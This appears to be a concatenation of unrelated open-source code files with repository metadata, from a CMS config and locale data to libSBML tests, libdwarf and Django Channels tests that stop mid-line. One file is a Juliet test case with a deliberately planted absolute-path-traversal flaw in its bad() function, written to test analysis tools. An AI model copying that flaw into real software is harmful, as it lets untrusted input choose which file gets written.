'by_parent_document', 'title:asc' => 'title_asc', 'title:desc' => 'title_desc', 'created:asc' => 'created_asc', 'created:desc' => 'created_desc', 'modified:asc' => 'modified_asc', 'modified:desc' => 'modified_desc', 'position:asc' => 'position_asc', 'position:desc' => 'position_desc', 'published:asc' => 'publish_date_document_only_asc', 'published:desc' => 'publish_date_document_only_desc', 'random' => 'random' ), ), //Front-end response HTTP headers 'response_headers_frontend' => array( 'static' => array( 'X-Generated-By' => 'Vivo', ), 'dynamic' => array( 'X-Generated-At' => true, ), ), );
miroslavhajek/vivoportal
config/cms.config.php
PHP
bsd-3-clause
27,149
this.MeteorIntl.__addLocaleData({"locale":"cgg","pluralRuleFunction":function (n,ord){if(ord)return"other";return n==1?"one":"other"},"fields":{"year":{"displayName":"Omwaka","relative":{"0":"this year","1":"next year","-1":"last year"},"relativeTime":{"future":{"other":"+{0} y"},"past":{"other":"-{0} y"}}},"month":{"displayName":"Omwezi","relative":{"0":"this month","1":"next month","-1":"last month"},"relativeTime":{"future":{"other":"+{0} m"},"past":{"other":"-{0} m"}}},"day":{"displayName":"Eizooba","relative":{"0":"Erizooba","1":"Nyenkyakare","-1":"Nyomwabazyo"},"relativeTime":{"future":{"other":"+{0} d"},"past":{"other":"-{0} d"}}},"hour":{"displayName":"Shaaha","relativeTime":{"future":{"other":"+{0} h"},"past":{"other":"-{0} h"}}},"minute":{"displayName":"Edakiika","relativeTime":{"future":{"other":"+{0} min"},"past":{"other":"-{0} min"}}},"second":{"displayName":"Obucweka\u002FEsekendi","relative":{"0":"now"},"relativeTime":{"future":{"other":"+{0} s"},"past":{"other":"-{0} s"}}}}}); this.MeteorIntl.__addLocaleData({"locale":"cgg-UG","parentLocale":"cgg"});
eXon/meteor-intl
dist/locale-data/cgg.js
JavaScript
bsd-3-clause
1,083
# # @file TestReaction.py # @brief SBML Reaction unit tests # # @author Akiya Jouraku (Python conversion) # @author Ben Bornstein # # ====== WARNING ===== WARNING ===== WARNING ===== WARNING ===== WARNING ====== # # DO NOT EDIT THIS FILE. # # This file was generated automatically by converting the file located at # src/sbml/test/TestReaction.c # using the conversion program dev/utilities/translateTests/translateTests.pl. # Any changes made here will be lost the next time the file is regenerated. # # ----------------------------------------------------------------------------- # This file is part of libSBML. Please visit http://sbml.org for more # information about SBML, and the latest version of libSBML. # # Copyright 2005-2010 California Institute of Technology. # Copyright 2002-2005 California Institute of Technology and # Japan Science and Technology Corporation. # # This library is free software; you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation. A copy of the license agreement is provided # in the file named "LICENSE.txt" included with this software distribution # and also available online as http://sbml.org/software/libsbml/license.html # ----------------------------------------------------------------------------- import sys import unittest import libsbml class TestReaction(unittest.TestCase): global R R = None def setUp(self): self.R = libsbml.Reaction(2,4) if (self.R == None): pass pass def tearDown(self): _dummyList = [ self.R ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_addProduct(self): sr = libsbml.SpeciesReference(2,4) sr.setSpecies( "s") self.R.addProduct(sr) self.assert_( self.R.getNumReactants() == 0 ) self.assert_( self.R.getNumProducts() == 1 ) self.assert_( self.R.getNumModifiers() == 0 ) _dummyList = [ sr ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_addReactant(self): sr = libsbml.SpeciesReference(2,4) sr.setSpecies( "s") self.R.addReactant(sr) self.assert_( self.R.getNumReactants() == 1 ) self.assert_( self.R.getNumProducts() == 0 ) self.assert_( self.R.getNumModifiers() == 0 ) _dummyList = [ sr ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_create(self): self.assert_( self.R.getTypeCode() == libsbml.SBML_REACTION ) self.assert_( self.R.getMetaId() == "" ) self.assert_( self.R.getNotes() == None ) self.assert_( self.R.getAnnotation() == None ) self.assert_( self.R.getId() == "" ) self.assert_( self.R.getName() == "" ) self.assert_( self.R.getKineticLaw() == None ) self.assert_( self.R.getReversible() != False ) self.assert_( self.R.getFast() == False ) self.assertEqual( False, self.R.isSetId() ) self.assertEqual( False, self.R.isSetName() ) self.assertEqual( False, self.R.isSetKineticLaw() ) self.assertEqual( False, self.R.isSetFast() ) self.assertEqual( True, self.R.isSetReversible() ) self.assert_( self.R.getNumReactants() == 0 ) self.assert_( self.R.getNumProducts() == 0 ) self.assert_( self.R.getNumModifiers() == 0 ) pass def test_Reaction_createWithNS(self): xmlns = libsbml.XMLNamespaces() xmlns.add( "http://www.sbml.org", "testsbml") sbmlns = libsbml.SBMLNamespaces(2,1) sbmlns.addNamespaces(xmlns) object = libsbml.Reaction(sbmlns) self.assert_( object.getTypeCode() == libsbml.SBML_REACTION ) self.assert_( object.getMetaId() == "" ) self.assert_( object.getNotes() == None ) self.assert_( object.getAnnotation() == None ) self.assert_( object.getLevel() == 2 ) self.assert_( object.getVersion() == 1 ) self.assert_( object.getNamespaces() != None ) self.assert_( object.getNamespaces().getLength() == 2 ) _dummyList = [ object ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_free_NULL(self): _dummyList = [ None ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_getProduct(self): sr1 = libsbml.SpeciesReference(2,4) sr2 = libsbml.SpeciesReference(2,4) sr1.setSpecies( "P1") sr2.setSpecies( "P2") self.R.addProduct(sr1) self.R.addProduct(sr2) _dummyList = [ sr1 ]; _dummyList[:] = []; del _dummyList _dummyList = [ sr2 ]; _dummyList[:] = []; del _dummyList self.assert_( self.R.getNumReactants() == 0 ) self.assert_( self.R.getNumProducts() == 2 ) self.assert_( self.R.getNumModifiers() == 0 ) sr1 = self.R.getProduct(0) sr2 = self.R.getProduct(1) self.assert_(( "P1" == sr1.getSpecies() )) self.assert_(( "P2" == sr2.getSpecies() )) pass def test_Reaction_getProductById(self): sr1 = libsbml.SpeciesReference(2,4) sr1.setSpecies( "P1") sr2 = libsbml.SpeciesReference(2,4) sr2.setSpecies( "P1") self.R.addProduct(sr1) self.R.addProduct(sr2) self.assert_( self.R.getNumReactants() == 0 ) self.assert_( self.R.getNumProducts() == 2 ) self.assert_( self.R.getNumModifiers() == 0 ) self.assert_( self.R.getProduct( "P1") != sr1 ) self.assert_( self.R.getProduct( "P2") != sr2 ) self.assert_( self.R.getProduct( "P3") == None ) _dummyList = [ sr1 ]; _dummyList[:] = []; del _dummyList _dummyList = [ sr2 ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_getReactant(self): sr1 = libsbml.SpeciesReference(2,4) sr2 = libsbml.SpeciesReference(2,4) sr1.setSpecies( "R1") sr2.setSpecies( "R2") self.R.addReactant(sr1) self.R.addReactant(sr2) _dummyList = [ sr1 ]; _dummyList[:] = []; del _dummyList _dummyList = [ sr2 ]; _dummyList[:] = []; del _dummyList self.assert_( self.R.getNumReactants() == 2 ) self.assert_( self.R.getNumProducts() == 0 ) self.assert_( self.R.getNumModifiers() == 0 ) sr1 = self.R.getReactant(0) sr2 = self.R.getReactant(1) self.assert_(( "R1" == sr1.getSpecies() )) self.assert_(( "R2" == sr2.getSpecies() )) pass def test_Reaction_getReactantById(self): sr1 = libsbml.SpeciesReference(2,4) sr1.setSpecies( "R1") sr2 = libsbml.SpeciesReference(2,4) sr2.setSpecies( "R2") self.R.addReactant(sr1) self.R.addReactant(sr2) self.assert_( self.R.getNumReactants() == 2 ) self.assert_( self.R.getNumProducts() == 0 ) self.assert_( self.R.getNumModifiers() == 0 ) self.assert_( self.R.getReactant( "R1") != sr1 ) self.assert_( self.R.getReactant( "R2") != sr2 ) self.assert_( self.R.getReactant( "R3") == None ) _dummyList = [ sr1 ]; _dummyList[:] = []; del _dummyList _dummyList = [ sr2 ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_removeProduct(self): o1 = self.R.createProduct() o2 = self.R.createProduct() o3 = self.R.createProduct() o3.setSpecies("test") self.assert_( self.R.removeProduct(0) == o1 ) self.assert_( self.R.getNumProducts() == 2 ) self.assert_( self.R.removeProduct(0) == o2 ) self.assert_( self.R.getNumProducts() == 1 ) self.assert_( self.R.removeProduct("test") == o3 ) self.assert_( self.R.getNumProducts() == 0 ) _dummyList = [ o1 ]; _dummyList[:] = []; del _dummyList _dummyList = [ o2 ]; _dummyList[:] = []; del _dummyList _dummyList = [ o3 ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_removeReactant(self): o1 = self.R.createReactant() o2 = self.R.createReactant() o3 = self.R.createReactant() o3.setSpecies("test") self.assert_( self.R.removeReactant(0) == o1 ) self.assert_( self.R.getNumReactants() == 2 ) self.assert_( self.R.removeReactant(0) == o2 ) self.assert_( self.R.getNumReactants() == 1 ) self.assert_( self.R.removeReactant("test") == o3 ) self.assert_( self.R.getNumReactants() == 0 ) _dummyList = [ o1 ]; _dummyList[:] = []; del _dummyList _dummyList = [ o2 ]; _dummyList[:] = []; del _dummyList _dummyList = [ o3 ]; _dummyList[:] = []; del _dummyList pass def test_Reaction_setId(self): id = "J1"; self.R.setId(id) self.assert_(( id == self.R.getId() )) self.assertEqual( True, self.R.isSetId() ) if (self.R.getId() == id): pass self.R.setId(self.R.getId()) self.assert_(( id == self.R.getId() )) self.R.setId("") self.assertEqual( False, self.R.isSetId() ) if (self.R.getId() != None): pass pass def test_Reaction_setName(self): name = "MapK_Cascade"; self.R.setName(name) self.assert_(( name == self.R.getName() )) self.assertEqual( True, self.R.isSetName() ) if (self.R.getName() == name): pass self.R.setName(self.R.getName()) self.assert_(( name == self.R.getName() )) self.R.setName("") self.assertEqual( False, self.R.isSetName() ) if (self.R.getName() != None): pass pass def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TestReaction)) return suite if __name__ == "__main__": if unittest.TextTestRunner(verbosity=1).run(suite()).wasSuccessful() : sys.exit(0) else: sys.exit(1)
TheCoSMoCompany/biopredyn
Prototype/src/libsbml-5.10.0/src/bindings/python/test/sbml/TestReaction.py
Python
bsd-3-clause
9,222
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE36_Absolute_Path_Traversal__char_environment_ofstream_68a.cpp Label Definition File: CWE36_Absolute_Path_Traversal.label.xml Template File: sources-sink-68a.tmpl.cpp */ /* * @description * CWE: 36 Absolute Path Traversal * BadSource: environment Read input from an environment variable * GoodSource: Full path and file name * Sink: ofstream * BadSink : Open the file named in data using ofstream::open() * Flow Variant: 68 Data flow: data passed as a global variable from one function to another in different source files * * */ #include "std_testcase.h" #ifndef _WIN32 #include <wchar.h> #endif #define ENV_VARIABLE "ADD" #ifdef _WIN32 #define GETENV getenv #else #define GETENV getenv #endif #include <fstream> using namespace std; char * CWE36_Absolute_Path_Traversal__char_environment_ofstream_68_badData; char * CWE36_Absolute_Path_Traversal__char_environment_ofstream_68_goodG2BData; namespace CWE36_Absolute_Path_Traversal__char_environment_ofstream_68 { #ifndef OMITBAD /* bad function declaration */ void badSink(); void bad() { char * data; char dataBuffer[FILENAME_MAX] = ""; data = dataBuffer; { /* Append input from an environment variable to data */ size_t dataLen = strlen(data); char * environment = GETENV(ENV_VARIABLE); /* If there is data in the environment variable */ if (environment != NULL) { /* POTENTIAL FLAW: Read data from an environment variable */ strncat(data+dataLen, environment, FILENAME_MAX-dataLen-1); } } CWE36_Absolute_Path_Traversal__char_environment_ofstream_68_badData = data; badSink(); } #endif /* OMITBAD */ #ifndef OMITGOOD /* good function declarations */ void goodG2BSink(); /* goodG2B uses the GoodSource with the BadSink */ static void goodG2B() { char * data; char dataBuffer[FILENAME_MAX] = ""; data = dataBuffer; #ifdef _WIN32 /* FIX: Use a fixed, full path and file name */ strcat(data, "c:\\temp\\file.txt"); #else /* FIX: Use a fixed, full path and file name */ strcat(data, "/tmp/file.txt"); #endif CWE36_Absolute_Path_Traversal__char_environment_ofstream_68_goodG2BData = data; goodG2BSink(); } void good() { goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE36_Absolute_Path_Traversal__char_environment_ofstream_68; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE36_Absolute_Path_Traversal/s02/CWE36_Absolute_Path_Traversal__char_environment_ofstream_68a.cpp
C++
bsd-3-clause
3,266
/* * Copyright (c) 2017 - 2019, SmartDeviceLink Consortium, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following * disclaimer in the documentation and/or other materials provided with the * distribution. * * Neither the name of the SmartDeviceLink Consortium, Inc. nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ package com.smartdevicelink.proxy.rpc.enums; /** * Reflects the status of a vehicle data event; e.g. a seat belt event status. * @since SmartDeviceLink 2.0 */ public enum VehicleDataEventStatus { /** * No event available */ NO_EVENT, NO, YES, /** * Vehicle data event is not support */ NOT_SUPPORTED, FAULT; /** * Convert String to VehicleDataEventStatus * @param value String * @return VehicleDataEventStatus */ public static VehicleDataEventStatus valueForString(String value) { try{ return valueOf(value); }catch(Exception e){ return null; } } }
jthrun/sdl_android
base/src/main/java/com/smartdevicelink/proxy/rpc/enums/VehicleDataEventStatus.java
Java
bsd-3-clause
2,293
"""Base classes for classifiers""" from ..core.classes import Processor class BaseClassifier(Processor): ''' The base class for classifiers. ''' def __init__(self, *args, **kwargs): super(BaseClassifier, self).__init__(*args, **kwargs) self.classifier = None class SklearnClassifier(BaseClassifier): ''' A class wrapping sklearn classifiers. ''' #The sklearn classifier classifier_class = None def __init__(self, *args, **kwargs): super(BaseClassifier, self).__init__(*args, **kwargs) self.init_classifier(*args, **kwargs) def init_classifier(self, *args, **kwargs): ''' Init sklearn classifier. ''' self.classifier = self.classifier_class(*args, **kwargs) def run_classifier(self, caller, *args, **kwargs): pass def run(self, caller, *args, **kwargs): return self.run_classifier(caller, *args, **kwargs) def __getattr__(self, attr): '''Propagate attribute search to the clusterizer.''' try: return getattr(self, attr) except: return getattr(self.clusterizer, attr)
bakfu/bakfu
bakfu/classify/base.py
Python
bsd-3-clause
1,167
/*- * Copyright (c) 2007 John Birrell (jb@freebsd.org) * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD$ */ #include <stdlib.h> #include <string.h> #include <unistd.h> #include "_libdwarf.h" Dwarf_AttrValue dwarf_attrval_find(Dwarf_Die die, Dwarf_Half attr) { Dwarf_AttrValue av; STAILQ_FOREACH(av, &die->die_attrval, av_next) { if (av->av_attrib == attr) break; } return av; } int dwarf_attrval_add(Dwarf_Die die, Dwarf_AttrValue avref, Dwarf_AttrValue *avp, Dwarf_Error *error) { Dwarf_AttrValue av; int ret = DWARF_E_NONE; if ((av = malloc(sizeof(struct _Dwarf_AttrValue))) == NULL) { DWARF_SET_ERROR(error, DWARF_E_MEMORY); return DWARF_E_MEMORY; } memcpy(av, avref, sizeof(struct _Dwarf_AttrValue)); /* Add the attribute value to the list in the die. */ STAILQ_INSERT_TAIL(&die->die_attrval, av, av_next); /* Save a pointer to the attribute name if this is one. */ if (av->av_attrib == DW_AT_name) switch (av->av_form) { case DW_FORM_strp: die->die_name = av->u[1].s; break; case DW_FORM_string: die->die_name = av->u[0].s; break; default: break; } if (avp != NULL) *avp = av; return ret; } int dwarf_attrval_flag(Dwarf_Die die, uint64_t attr, Dwarf_Bool *valp, Dwarf_Error *err) { Dwarf_AttrValue av; int ret = DWARF_E_NONE; if (err == NULL) return DWARF_E_ERROR; if (die == NULL || valp == NULL) { DWARF_SET_ERROR(err, DWARF_E_ARGUMENT); return DWARF_E_ARGUMENT; } *valp = 0; if ((av = dwarf_attrval_find(die, attr)) == NULL) { DWARF_SET_ERROR(err, DWARF_E_NO_ENTRY); ret = DWARF_E_NO_ENTRY; } else { switch (av->av_form) { case DW_FORM_flag: case DW_FORM_flag_present: *valp = (Dwarf_Bool) av->u[0].u64; break; default: printf("%s(%d): av->av_form '%s' (0x%lx) not handled\n", __func__,__LINE__,get_form_desc(av->av_form), (u_long) av->av_form); DWARF_SET_ERROR(err, DWARF_E_BAD_FORM); ret = DWARF_E_BAD_FORM; } } return ret; } int dwarf_attrval_string(Dwarf_Die die, uint64_t attr, const char **strp, Dwarf_Error *err) { Dwarf_AttrValue av; int ret = DWARF_E_NONE; if (err == NULL) return DWARF_E_ERROR; if (die == NULL || strp == NULL) { DWARF_SET_ERROR(err, DWARF_E_ARGUMENT); return DWARF_E_ARGUMENT; } *strp = NULL; if (attr == DW_AT_name) *strp = die->die_name; else if ((av = dwarf_attrval_find(die, attr)) == NULL) { DWARF_SET_ERROR(err, DWARF_E_NO_ENTRY); ret = DWARF_E_NO_ENTRY; } else { switch (av->av_form) { case DW_FORM_strp: *strp = av->u[1].s; break; case DW_FORM_string: *strp = av->u[0].s; break; default: printf("%s(%d): av->av_form '%s' (0x%lx) not handled\n", __func__,__LINE__,get_form_desc(av->av_form), (u_long) av->av_form); DWARF_SET_ERROR(err, DWARF_E_BAD_FORM); ret = DWARF_E_BAD_FORM; } } return ret; } int dwarf_attrval_signed(Dwarf_Die die, uint64_t attr, Dwarf_Signed *valp, Dwarf_Error *err) { Dwarf_AttrValue av; int ret = DWARF_E_NONE; if (err == NULL) return DWARF_E_ERROR; if (die == NULL || valp == NULL) { DWARF_SET_ERROR(err, DWARF_E_ARGUMENT); return DWARF_E_ARGUMENT; } *valp = 0; if ((av = dwarf_attrval_find(die, attr)) == NULL) { DWARF_SET_ERROR(err, DWARF_E_NO_ENTRY); ret = DWARF_E_NO_ENTRY; } else { switch (av->av_form) { case DW_FORM_data1: case DW_FORM_sdata: *valp = av->u[0].s64; break; default: printf("%s(%d): av->av_form '%s' (0x%lx) not handled\n", __func__,__LINE__,get_form_desc(av->av_form), (u_long) av->av_form); DWARF_SET_ERROR(err, DWARF_E_BAD_FORM); ret = DWARF_E_BAD_FORM; } } return ret; } int dwarf_attrval_unsigned(Dwarf_Die die, uint64_t attr, Dwarf_Unsigned *valp, Dwarf_Error *err) { Dwarf_AttrValue av; int ret = DWARF_E_NONE; if (err == NULL) return DWARF_E_ERROR; if (die == NULL || valp == NULL) { DWARF_SET_ERROR(err, DWARF_E_ARGUMENT); return DWARF_E_ARGUMENT; } *valp = 0; if ((av = dwarf_attrval_find(die, attr)) == NULL && attr != DW_AT_type) { DWARF_SET_ERROR(err, DWARF_E_NO_ENTRY); ret = DWARF_E_NO_ENTRY; } else if (av == NULL && (av = dwarf_attrval_find(die, DW_AT_abstract_origin)) != NULL) { Dwarf_Die die1; Dwarf_Unsigned val; switch (av->av_form) { case DW_FORM_data1: case DW_FORM_data2: case DW_FORM_data4: case DW_FORM_data8: case DW_FORM_ref1: case DW_FORM_ref2: case DW_FORM_ref4: case DW_FORM_ref8: case DW_FORM_ref_udata: val = av->u[0].u64; if ((die1 = dwarf_die_find(die, val)) == NULL || (av = dwarf_attrval_find(die1, attr)) == NULL) { DWARF_SET_ERROR(err, DWARF_E_NO_ENTRY); ret = DWARF_E_NO_ENTRY; } break; default: printf("%s(%d): av->av_form '%s' (0x%lx) not handled\n", __func__,__LINE__,get_form_desc(av->av_form), (u_long) av->av_form); DWARF_SET_ERROR(err, DWARF_E_BAD_FORM); ret = DWARF_E_BAD_FORM; } } if (ret == DWARF_E_NONE) { switch (av->av_form) { case DW_FORM_data1: case DW_FORM_data2: case DW_FORM_data4: case DW_FORM_data8: case DW_FORM_ref1: case DW_FORM_ref2: case DW_FORM_ref4: case DW_FORM_ref8: case DW_FORM_ref_udata: *valp = av->u[0].u64; break; default: printf("%s(%d): av->av_form '%s' (0x%lx) not handled\n", __func__,__LINE__,get_form_desc(av->av_form), (u_long) av->av_form); DWARF_SET_ERROR(err, DWARF_E_BAD_FORM); ret = DWARF_E_BAD_FORM; } } return ret; }
jhbsz/OSI-OS
Operating-System/Libraries/libdwarf/dwarf_attrval.c
C
bsd-3-clause
6,709
#! /usr/bin/python # Version info: $Id: NonLinearFit2D_ExtendedEquation.py 230 2010-06-30 20:20:14Z zunzun.com $ # the pythonequations base is located up one directory from the top-level examples # directory, go up one directory in the path from there for the import to work properly import sys, os if os.path.join(sys.path[0][:sys.path[0].rfind(os.sep)], '../..') not in sys.path: sys.path.append(os.path.join(sys.path[0][:sys.path[0].rfind(os.sep)], '../..')) import pythonequations # see the Equation base class for a list of extended versions equation = pythonequations.Equations2D.Exponential.Exponential2D('Offset') equation.fittingTarget = 'SSQABS' # see the Equation base class for a list of fitting targets equation.ConvertTextToData(equation.exampleData) # Equations have ASCII text data for testing and examples equation.Initialize() # now that the equation has data, set up the cache # If performing a nonlinear fit and you have parameter estimates, set them # instead of calling this method. This call is harmless for linear fits equation.SetGAParametersAndGuessInitialCoefficientsIfNeeded() # estimate initial parameters if needed equation.FitToCacheData() # perform the fit equation.CalculateErrors() # so we can print the errors print equation.name, str(equation.dimensionality) + "D" print equation.fittingTarget + ":", equation.CalculateFittingTarget(equation.coefficientArray) for i in range(len(equation.coefficientArray)): print "Coefficient " + equation.coefficientDesignatorTuple[i] + ": " + str(equation.coefficientArray[i]) print for i in range(len(equation.DependentDataArray)): print 'X:', equation.IndependentDataArray[0][i], print 'Y', equation.DependentDataArray[i], print 'Model:', equation.PredictedArray[i], print 'Abs. Error:', equation.AbsoluteErrorArray[i], print 'Rel. Error:', equation.RelativeErrorArray[i], print 'Percent Error:', equation.PercentErrorArray[i]
JMoravec/unkRadnet
zunzunCode/pythonequations/Examples/SimpleExamples/NonLinearFit2D_ExtendedEquation.py
Python
bsd-3-clause
1,946
<!DOCTYPE html> <!-- Copyright 2015 The Chromium Authors. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. --> <link rel="import" href="/tracing/base/units/time_display_mode.html"> <script> 'use strict'; tr.b.unittest.testSuite(function() { test('Time.ms.format', function() { function local(v) { return v.toLocaleString(undefined, { minimumFractionDigits: 3}) + ' ms'; } var unit = tr.b.u.TimeDisplayModes.ms; assert.equal(unit.format(1), local(1)); assert.equal(unit.format(1.001), local(1.001)); assert.equal(unit.format(1.0005), local(1.001)); assert.equal(unit.format(1.0004), local(1)); assert.equal(unit.format(0.999), local(0.999)); assert.equal(unit.format(0.9995), local(1)); }); test('Time.ns.format', function() { function local(v) { return v.toLocaleString(undefined, { maximumFractionDigits: 0}) + ' ns'; } var unit = tr.b.u.TimeDisplayModes.ns; assert.equal(unit.format(1), local(1000000)); assert.equal(unit.format(0.001), local(1000)); assert.equal(unit.format(0.000001), local(1)); assert.equal(unit.format(0.0000005), local(1)); assert.equal(unit.format(0.0000004), local(0)); assert.equal(unit.format(0.0000015), local(2)); }); }); </script>
0x90sled/catapult
tracing/tracing/base/units/time_display_mode_test.html
HTML
bsd-3-clause
1,330
from __future__ import unicode_literals from django.conf import settings from django.test import override_settings from channels import DEFAULT_CHANNEL_LAYER, channel_layers from channels.message import Message from channels.sessions import ( channel_and_http_session, channel_session, enforce_ordering, http_session, session_for_reply_channel, ) from channels.tests import ChannelTestCase @override_settings(SESSION_ENGINE="django.contrib.sessions.backends.cache") class SessionTests(ChannelTestCase): """ Tests the channels session module. """ def test_session_for_reply_channel(self): """ Tests storing and retrieving values by reply_channel. """ session1 = session_for_reply_channel("test-reply-channel") session1["testvalue"] = 42 session1.save(must_create=True) session2 = session_for_reply_channel("test-reply-channel") self.assertEqual(session2["testvalue"], 42) def test_channel_session(self): """ Tests the channel_session decorator """ # Construct message to send message = Message({"reply_channel": "test-reply"}, None, None) # Run through a simple fake consumer that assigns to it @channel_session def inner(message): message.channel_session["num_ponies"] = -1 inner(message) # Test the session worked session2 = session_for_reply_channel("test-reply") self.assertEqual(session2["num_ponies"], -1) def test_channel_session_double(self): """ Tests the channel_session decorator detects being wrapped in itself and doesn't blow up. """ # Construct message to send message = Message({"reply_channel": "test-reply"}, None, None) # Run through a simple fake consumer that should trigger the error @channel_session @channel_session def inner(message): message.channel_session["num_ponies"] = -1 inner(message) # Test the session worked session2 = session_for_reply_channel("test-reply") self.assertEqual(session2["num_ponies"], -1) def test_channel_session_no_reply(self): """ Tests the channel_session decorator detects no reply channel """ # Construct message to send message = Message({}, None, None) # Run through a simple fake consumer that should trigger the error @channel_session @channel_session def inner(message): message.channel_session["num_ponies"] = -1 with self.assertRaises(ValueError): inner(message) def test_http_session(self): """ Tests that http_session correctly extracts a session cookie. """ # Make a session to try against session1 = session_for_reply_channel("test-reply") # Construct message to send message = Message({ "reply_channel": "test-reply", "http_version": "1.1", "method": "GET", "path": "/test2/", "headers": { "host": b"example.com", "cookie": ("%s=%s" % (settings.SESSION_COOKIE_NAME, session1.session_key)).encode("ascii"), }, }, None, None) # Run it through http_session, make sure it works (test double here too) @http_session @http_session def inner(message): message.http_session["species"] = "horse" inner(message) # Check value assignment stuck session2 = session_for_reply_channel("test-reply") self.assertEqual(session2["species"], "horse") def test_channel_and_http_session(self): """ Tests that channel_and_http_session decorator stores the http session key and hydrates it when expected """ # Make a session to try against session = session_for_reply_channel("test-reply-session") # Construct message to send message = Message({ "reply_channel": "test-reply-session", "http_version": "1.1", "method": "GET", "path": "/test2/", "headers": { "host": b"example.com", "cookie": ("%s=%s" % (settings.SESSION_COOKIE_NAME, session.session_key)).encode("ascii"), }, }, None, None) @channel_and_http_session def inner(message): pass inner(message) # It should store the session key self.assertEqual(message.channel_session[settings.SESSION_COOKIE_NAME], session.session_key) # Construct a new message message2 = Message({"reply_channel": "test-reply-session", "path": "/"}, None, None) inner(message2) # It should hydrate the http_session self.assertEqual(message2.http_session.session_key, session.session_key) def test_enforce_ordering(self): """ Tests that strict mode of enforce_ordering works """ # Construct messages to send message0 = Message( {"reply_channel": "test-reply-b", "order": 0}, "websocket.connect", channel_layers[DEFAULT_CHANNEL_LAYER] ) message1 = Message( {"reply_channel": "test-reply-b", "order": 1}, "websocket.receive", channel_layers[DEFAULT_CHANNEL_LAYER] ) message2 = Message( {"reply_channel": "test-reply-b", "order": 2}, "websocket.receive", channel_layers[DEFAULT_CHANNEL_LAYER] ) # Run them in an acceptable strict order @enforce_ordering def inner(message): pass inner(message0) inner(message1) inner(message2) # Ensure wait channel is empty wait_channel = "__wait__.%s" % "test-reply-b" next_message = self.get_next_message(wait_channel) self.assertEqual(next_message, None) def test_enforce_ordering_fail(self): """ Tests that strict mode of enforce_ordering fails on bad ordering """ # Construct messages to send message0 = Message( {"reply_channel": "test-reply-c", "order": 0}, "websocket.connect", channel_layers[DEFAULT_CHANNEL_LAYER] ) message2 = Message( {"reply_channel": "test-reply-c", "order": 2}, "websocket.receive", channel_layers[DEFAULT_CHANNEL_LAYER] ) # Run them in an acceptable strict order @enforce_ordering def inner(message): pass inner(message0) inner(message2) # Ensure wait channel is not empty wait_channel = "__wait__.%s" % "test-reply-c" next_message = self.get_next_message(wait_channel) self.assertNotEqual(next_message, None) def test_enforce_ordering_fail_no_order(self): """ Makes sure messages with no "order" key fail """ message0 = Message( {"reply_channel": "test-reply-d"}, None, channel_layers[DEFAULT_CHANNEL_LAYER] ) @enforce_ordering def inner(message): pass with 